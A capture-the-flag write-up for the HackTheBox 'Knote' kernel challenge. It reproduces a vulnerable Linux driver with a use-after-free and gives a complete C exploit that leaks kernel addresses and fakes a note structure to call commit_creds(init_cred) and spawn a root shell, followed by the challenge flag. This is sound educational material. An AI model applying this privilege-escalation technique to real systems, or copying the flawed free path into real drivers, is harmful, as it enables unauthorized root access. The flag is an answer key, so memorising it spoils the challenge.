Knote
HackTheBox - Knote
Overview
Knote is a medium-difficulty kernel pwn challenge focused on exploiting a Use After Free to gain LPE.
It’s a classic heap note challenge but in the kernel.
Program Analysis
Here’s the vulnerable driver source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define DEVICE_NAME "knote"
#define CLASS_NAME "knote"
MODULE_AUTHOR("r4j");
MODULE_DESCRIPTION("Secure your secrets in the kernelspace");
MODULE_LICENSE("GPL");
static DEFINE_MUTEX(knote_ioctl_lock);
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static int major;
static struct class *knote_class = NULL;
static struct device *knote_device = NULL;
static struct file_operations knote_fops = {
.unlocked_ioctl = knote_ioctl
};
struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
};
struct knote_user {
unsigned long idx;
char * data;
size_t len;
};
enum knote_ioctl_cmd {
KNOTE_CREATE = 0x1337,
KNOTE_DELETE = 0x1338,
KNOTE_READ = 0x1339,
KNOTE_ENCRYPT = 0x133a,
KNOTE_DECRYPT = 0x133b
};
struct knote *knotes[10];
void knote_encrypt(char * data, size_t len) {
int i;
for(i = 0; i < len; ++i)
data[i] ^= 0xaa;
}
void knote_decrypt(char *data, size_t len) {
knote_encrypt(data, len);
}
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
mutex_lock(&knote_ioctl_lock);
struct knote_user ku;
if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
return -EFAULT;
switch(cmd) {
case KNOTE_CREATE:
if(ku.len > 0x20 || ku.idx >= 10)
return -EINVAL;
char *data = kmalloc(ku.len, GFP_KERNEL);
knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
if(data == NULL || knotes[ku.idx] == NULL) {
mutex_unlock(&knote_ioctl_lock);
return -ENOMEM;
}
knotes[ku.idx]->data = data;
knotes[ku.idx]->len = ku.len;
if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
knotes[ku.idx]->encrypt_func = knote_encrypt;
knotes[ku.idx]->decrypt_func = knote_decrypt;
break;
case KNOTE_DELETE:
if(ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
kfree(knotes[ku.idx]->data);
kfree(knotes[ku.idx]);
knotes[ku.idx] = NULL;
break;
case KNOTE_READ:
if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
mutex_unlock(&knote_ioctl_lock);
return -EFAULT;
}
break;
case KNOTE_ENCRYPT:
if(ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
break;
case KNOTE_DECRYPT:
if(ku.idx >= 10 || !knotes[ku.idx]) {
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
break;
default:
mutex_unlock(&knote_ioctl_lock);
return -EINVAL;
}
mutex_unlock(&knote_ioctl_lock);
return 0;
}
static int __init init_knote(void) {
major = register_chrdev(0, DEVICE_NAME, &knote_fops);
if(major < 0)
return -1;
knote_class = class_create(THIS_MODULE, CLASS_NAME);
if (IS_ERR(knote_class)) {
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
if (IS_ERR(knote_device))
{
class_destroy(knote_class);
unregister_chrdev(major, DEVICE_NAME);
return -1;
}
return 0;
}
static void __exit exit_knote(void)
{
device_destroy(knote_class, MKDEV(major, 0));
class_unregister(knote_class);
class_destroy(knote_class);
unregister_chrdev(major, DEVICE_NAME);
}
module_init(init_knote);
module_exit(exit_knote);
The setup:
1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd rootfs.img \
-cpu qemu64 \
-smp cores=2
It turns out that kaslr is actually disabled even though it was specified in the qemu boot flag, i guess it’s because of the kernel image version (5.8.3).
SMAP/SMEP was also disabled so one could do a ret2usr style attack.
But in my case I ended up leaking kaslr and faking a knote structure to eventually call commit_creds(init_cred).
A thing to note is, because it’s running on 2 cores with cpu as qemu64, on gdb when i CTRL + C it ends up being in thread 2 which is where the second cpu is running.
I had to change thread to 1 each time i want to analyze memory.
Solve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "log.h"
#define DEVICE_PATH "/dev/knote"
#define KBASE(leak) ((leak) - 0xf17e0)
#define commit_creds (kbase + 0x53a30)
#define prepare_kernel_cred (kbase + 0x53c50)
#define init_cred (kbase + 0x8375c0)
enum knote_ioctl_cmd {
KNOTE_CREATE = 0x1337,
KNOTE_DELETE = 0x1338,
KNOTE_READ = 0x1339,
KNOTE_ENCRYPT = 0x133a,
KNOTE_DECRYPT = 0x133b
};
typedef struct knote_user {
unsigned long idx;
char * data;
size_t len;
} knote_user;
typedef struct knote {
char *data;
size_t len;
void (*encrypt_func)(char *, size_t);
void (*decrypt_func)(char *, size_t);
} knote;
uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip;
void kcreate(int fd, knote_user *request) {
if (ioctl(fd, KNOTE_CREATE, request) < 0) {
logOK("uaf triggered");
};
}
void kdelete(int fd, knote_user *request) {
if (ioctl(fd, KNOTE_DELETE, request) < 0) {
logErr("ioctl::delete");
exit(EXIT_FAILURE);
}
}
void kread(int fd, knote_user *request) {
if (ioctl(fd, KNOTE_READ, request) < 0) {
logErr("ioctl::read");
exit(EXIT_FAILURE);
}
}
void kencrypt(int fd, knote_user *request) {
if (ioctl(fd, KNOTE_ENCRYPT, request) < 0) {
logErr("ioctl::encrypt");
exit(EXIT_FAILURE);
}
}
void kdecrypt(int fd, knote_user *request) {
if (ioctl(fd, KNOTE_DECRYPT, request) < 0) {
logErr("ioctl::decrypt");
exit(EXIT_FAILURE);
}
}
void spawn_shell() {
if (getuid() == 0) {
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve(argv[0], argv, envp);
} else {
logErr("Privilege escalation failed");
exit(1);
}
}
int main() {
int fd = open(DEVICE_PATH, O_RDONLY);
if (fd < 0) {
logErr("failed to open char device");
return 1;
}
knote_user *req = calloc(1, sizeof(knote_user));
req->idx = 0;
req->len = 0x8;
req->data = malloc(req->len);
memset(req->data, 'A', req->len);
kcreate(fd, req);
req->idx = 1;
req->len = 0x20;
req->data = (char*)0xffffffff41414141;
kcreate(fd, req);
req->data = malloc(req->len);
kread(fd, req);
hex_dump(req->data, req->len - 0x8);
uint64_t kheap = *(uint64_t *)((char *)req->data + 0x10);
logOK("heap leak: 0x%lx", kheap);
req->idx = 2;
req->data = malloc(sizeof(knote));
((knote *)req->data)->data = (void *)kheap;
((knote *)req->data)->len = 0x30;
kcreate(fd, req);
int fds[10];
logOK("spraying seq_operations");
for (int i = 0; i < 10; i++) {
fds[i] = open("/proc/self/stat", O_RDONLY);
}
req->idx = 1;
req->data = malloc(req->len);
kread(fd, req);
hex_dump(req->data, req->len - 0x8);
uint64_t kleak = *(uint64_t *)((char *)req->data);
uint64_t kbase = KBASE(kleak);
logOK("kernel base: 0x%lx", kbase);
req->idx = 3;
req->len = 0x20;
req->data = (char*)0xffffffff41414141;
kcreate(fd, req);
req->idx = 4;
req->data = malloc(sizeof(knote));
((knote *)req->data)->data = (void *)init_cred;
((knote *)req->data)->decrypt_func = (void *)commit_creds;
kcreate(fd, req);
req->idx = 3;
kdecrypt(fd, req);
logOK("escalating privilege..");
spawn_shell();
return 0;
}
FLAG
1
HTB{2cdbf36398470b5428ea991d18502ef2}
